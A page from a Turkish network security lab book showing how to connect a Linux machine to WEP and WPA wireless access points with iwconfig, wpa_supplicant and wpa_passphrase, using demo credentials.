55. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
komutları kullanılabilir.
Yapılandırılmış arabirime ait özellikleri görmek istersek;
root@byte: ~# iwconfig eth1
eth1 IEEE 802.11-DS ESSID:"Byte Test"
Mode:Managed Frequency:2.457GHz Access Point: 00:05:60:D5:CE:76
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
RTS thr:off Fragment thr:off
Encryption key:on
Power Management:off
Link Quality:46/92 Signal level:-51 dBm Noise level:-94 dBm
Rx invalid nwid:0 invalid crypt:0 invalid misc:0
komutunu vermek yeterlidir.
3.1.1. WEP keykullanan AP’e bağlanma
Bağlanmak istenilen erisim noktası WEP kullanacak şekilde ayarlandıysa bunu da parametre
olarak belirtmek gerekir.
root@byte: ~# iwconfig eth1 key 12345768901234567890123465
WPA kullanan AP’e bağlanma
iwlist ve iwconfig araçları WEP ile korunan AP’lere bağlanmak için kullanılır. WPA tipinde bir
AP’ye bağlanmak için wpa_supplicant aracı kullanılır. Çoğu Linux dağıtımında yüklü gelir. Eğer
yüklü değilse;
root@kali:~# apt-get install wpasupplicant
WPA ile ilgili bilgiler bir yapılandırma dosyası içinde saklanır. Bu dosyaya yazmak için
wpa_passphrase aracı kullanılır.
root@kali:~# wpa_passphrase BGA Bga123456 > wpa.conf
Yukarıdaki komutta BGA yerine bağlanmak istediğiniz erişim noktasının SSIDsi ve Bga123456
yerine WPA anahtarı yazılır. Cevap aşağıdaki gibi wpa.conf dosyasına yazılır.
network={
ssid="BGA"
#psk="Bga123456"
psk=646fa82263e0f2aec5759ff3f1b409e4cde4557a68d64c45df5904ced2c4af0d
}
Ancak yukarıdaki komutta WPA parolası komut geçmişinde yer alacağı için güvenli değildir.
Bunun yerine sadece wpa_passphrase SSID_ismi şeklinde kullanılırsa imleç aşağı iner bizden
anahtarı girmemizi bekler.